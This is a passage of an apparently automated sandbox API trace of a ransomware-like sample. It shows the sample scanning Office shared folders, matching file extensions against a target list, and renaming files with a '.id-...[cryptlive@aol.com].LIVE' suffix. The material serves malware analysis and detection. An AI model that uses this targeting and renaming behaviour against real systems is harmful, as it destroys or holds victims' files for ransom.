(lpString1=".zip", lpString2=".DLL") returned 1 [0129.722] lstrlenW (lpString=".rar") returned 4 [0129.722] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0129.722] lstrlenW (lpString=".bz2") returned 4 [0129.722] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0129.722] lstrlenW (lpString=".7z") returned 3 [0129.722] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0129.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL") returned 68 [0129.722] lstrlenW (lpString=".dbf") returned 4 [0129.722] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0129.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL") returned 68 [0129.722] lstrlenW (lpString=".1cd") returned 4 [0129.722] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0129.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL") returned 68 [0129.722] lstrlenW (lpString=".jpg") returned 4 [0129.722] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0129.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL") returned 68 [0129.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL") returned 68 [0129.723] lstrlenW (lpString=".doc") returned 4 [0129.723] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0129.723] lstrlenW (lpString=".docx") returned 5 [0129.723] lstrcmpiW (lpString1=".docx", lpString2="N.DLL") returned -1 [0129.723] lstrlenW (lpString=".pdf") returned 4 [0129.723] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0129.723] lstrlenW (lpString=".xls") returned 4 [0129.723] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0129.723] lstrlenW (lpString=".xlsx") returned 5 [0129.723] lstrcmpiW (lpString1=".xlsx", lpString2="N.DLL") returned -1 [0129.723] lstrlenW (lpString=".ppt") returned 4 [0129.723] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0129.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL") returned 68 [0129.723] lstrlenW (lpString=".zip") returned 4 [0129.723] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0129.723] lstrlenW (lpString=".rar") returned 4 [0129.723] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0129.723] lstrlenW (lpString=".bz2") returned 4 [0129.723] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0129.723] lstrlenW (lpString=".7z") returned 3 [0129.723] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0129.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL") returned 68 [0129.723] lstrlenW (lpString=".dbf") returned 4 [0129.723] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0129.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL") returned 68 [0129.723] lstrlenW (lpString=".1cd") returned 4 [0129.723] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0129.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL") returned 68 [0129.723] lstrlenW (lpString=".jpg") returned 4 [0129.723] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0129.724] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0129.724] lstrlenW (lpString="FPLACE.DLL") returned 10 [0129.724] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fplace.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0129.724] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=181120) returned 1 [0129.724] CloseHandle (hObject=0x2fc) returned 1 [0129.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fplace.dll")) returned 0x20 [0129.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fplace.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0129.724] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fplace.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0129.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL") returned 67 [0129.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL") returned 67 [0129.725] lstrlenW (lpString=".doc") returned 4 [0129.725] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0129.725] lstrlenW (lpString=".docx") returned 5 [0129.725] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0129.725] lstrlenW (lpString=".pdf") returned 4 [0129.725] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0129.725] lstrlenW (lpString=".xls") returned 4 [0129.725] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0129.725] lstrlenW (lpString=".xlsx") returned 5 [0129.725] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0129.725] lstrlenW (lpString=".ppt") returned 4 [0129.725] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0129.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL") returned 67 [0129.725] lstrlenW (lpString=".zip") returned 4 [0129.725] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0129.725] lstrlenW (lpString=".rar") returned 4 [0129.725] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0129.725] lstrlenW (lpString=".bz2") returned 4 [0129.725] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0129.725] lstrlenW (lpString=".7z") returned 3 [0129.725] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0129.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL") returned 67 [0129.726] lstrlenW (lpString=".dbf") returned 4 [0129.726] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0129.726] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0129.726] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0129.726] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0129.726] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0129.726] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0129.726] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0129.726] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0129.726] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0129.726] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0129.726] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0129.726] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0129.726] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0129.726] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0129.726] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0129.726] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0129.727] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0129.727] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fstock.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0129.728] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=159104) returned 1 [0129.728] CloseHandle (hObject=0x2fc) returned 1 [0129.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fstock.dll")) returned 0x20 [0129.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fstock.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0129.728] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fstock.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0129.728] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0129.728] lstrcmpiW (lpString1=".docx", lpString2="K.DLL") returned -1 [0129.728] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0129.728] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0129.728] lstrcmpiW (lpString1=".xlsx", lpString2="K.DLL") returned -1 [0129.728] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0129.728] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0129.728] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0129.728] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0129.728] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0129.729] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0129.729] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0129.729] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0129.729] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0129.729] lstrcmpiW (lpString1=".docx", lpString2="K.DLL") returned -1 [0129.729] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0129.729] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0129.729] lstrcmpiW (lpString1=".xlsx", lpString2="K.DLL") returned -1 [0129.729] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0129.729] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0129.729] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0129.729] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0129.729] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0129.729] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0129.729] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0129.729] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0129.730] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0129.730] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\ietag.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0129.731] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=234880) returned 1 [0129.731] CloseHandle (hObject=0x2fc) returned 1 [0129.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\ietag.dll")) returned 0x20 [0129.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\ietag.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0129.731] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\ietag.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0129.731] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0129.731] lstrcmpiW (lpString1=".docx", lpString2="G.DLL") returned -1 [0129.731] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0129.731] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0129.731] lstrcmpiW (lpString1=".xlsx", lpString2="G.DLL") returned -1 [0129.731] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0129.731] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0129.731] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0129.731] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0129.731] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0129.732] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0129.732] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0129.732] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0129.732] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0129.732] lstrcmpiW (lpString1=".docx", lpString2="G.DLL") returned -1 [0129.732] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0129.732] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0129.732] lstrcmpiW (lpString1=".xlsx", lpString2="G.DLL") returned -1 [0129.732] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0129.732] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0129.732] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0129.732] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0129.732] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0129.732] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0129.732] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0129.732] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0129.733] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0129.733] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\imcontact.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0129.734] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=101248) returned 1 [0129.734] CloseHandle (hObject=0x2fc) returned 1 [0129.734] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\imcontact.dll")) returned 0x20 [0129.734] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\imcontact.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0129.734] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\imcontact.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0129.734] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0129.734] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0129.734] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0129.734] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0129.734] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0129.734] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0130.528] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=547) returned 1 [0130.528] CloseHandle (hObject=0x308) returned 1 [0130.529] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.inf")) returned 0x20 [0130.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.inf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0130.531] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0131.079] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpsrvutl.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpsrvutl.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0131.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL") returned 88 [0131.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL") returned 88 [0131.079] lstrlenW (lpString=".doc") returned 4 [0131.079] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0131.079] lstrlenW (lpString=".docx") returned 5 [0131.079] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0131.079] lstrlenW (lpString=".pdf") returned 4 [0131.079] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0131.080] lstrlenW (lpString=".xls") returned 4 [0131.080] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0131.080] lstrlenW (lpString=".xlsx") returned 5 [0131.080] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0131.080] lstrlenW (lpString=".ppt") returned 4 [0131.080] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0131.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL") returned 88 [0131.080] lstrlenW (lpString=".zip") returned 4 [0131.080] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0131.080] lstrlenW (lpString=".rar") returned 4 [0131.080] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0131.080] lstrlenW (lpString=".bz2") returned 4 [0131.080] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0131.080] lstrlenW (lpString=".7z") returned 3 [0131.080] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0131.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL") returned 88 [0131.080] lstrlenW (lpString=".dbf") returned 4 [0131.080] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0131.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL") returned 88 [0131.080] lstrlenW (lpString=".1cd") returned 4 [0131.080] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0131.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL") returned 88 [0131.080] lstrlenW (lpString=".jpg") returned 4 [0131.080] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0131.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL") returned 88 [0131.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL") returned 88 [0131.080] lstrlenW (lpString=".doc") returned 4 [0131.080] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0131.080] lstrlenW (lpString=".docx") returned 5 [0131.080] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0131.080] lstrlenW (lpString=".pdf") returned 4 [0131.080] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0131.081] lstrlenW (lpString=".xls") returned 4 [0131.081] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0131.081] lstrlenW (lpString=".xlsx") returned 5 [0131.081] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0131.081] lstrlenW (lpString=".ppt") returned 4 [0131.081] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0131.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL") returned 88 [0131.081] lstrlenW (lpString=".zip") returned 4 [0131.081] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0131.081] lstrlenW (lpString=".rar") returned 4 [0131.081] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0131.081] lstrlenW (lpString=".bz2") returned 4 [0131.081] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0131.081] lstrlenW (lpString=".7z") returned 3 [0131.081] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0131.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL") returned 88 [0131.081] lstrlenW (lpString=".dbf") returned 4 [0131.081] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0131.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL") returned 88 [0131.081] lstrlenW (lpString=".1cd") returned 4 [0131.081] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0131.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL") returned 88 [0131.081] lstrlenW (lpString=".jpg") returned 4 [0131.081] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0131.081] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0131.081] lstrlenW (lpString="FPWEC.DLL") returned 9 [0131.081] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpwec.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0131.082] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1363344) returned 1 [0131.082] CloseHandle (hObject=0x314) returned 1 [0131.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpwec.dll")) returned 0x20 [0131.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpwec.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0131.083] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpwec.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0131.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL") returned 85 [0131.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL") returned 85 [0131.083] lstrlenW (lpString=".doc") returned 4 [0131.083] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0131.083] lstrlenW (lpString=".docx") returned 5 [0131.083] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0131.083] lstrlenW (lpString=".pdf") returned 4 [0131.083] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0131.083] lstrlenW (lpString=".xls") returned 4 [0131.083] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0131.083] lstrlenW (lpString=".xlsx") returned 5 [0131.083] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0131.083] lstrlenW (lpString=".ppt") returned 4 [0131.083] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0131.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL") returned 85 [0131.083] lstrlenW (lpString=".zip") returned 4 [0131.083] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0131.083] lstrlenW (lpString=".rar") returned 4 [0131.083] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0131.083] lstrlenW (lpString=".bz2") returned 4 [0131.083] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0131.083] lstrlenW (lpString=".7z") returned 3 [0131.084] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0131.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL") returned 85 [0131.084] lstrlenW (lpString=".dbf") returned 4 [0131.084] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0131.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL") returned 85 [0131.084] lstrlenW (lpString=".1cd") returned 4 [0131.084] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0131.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL") returned 85 [0131.084] lstrlenW (lpString=".jpg") returned 4 [0131.084] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0131.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL") returned 85 [0131.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 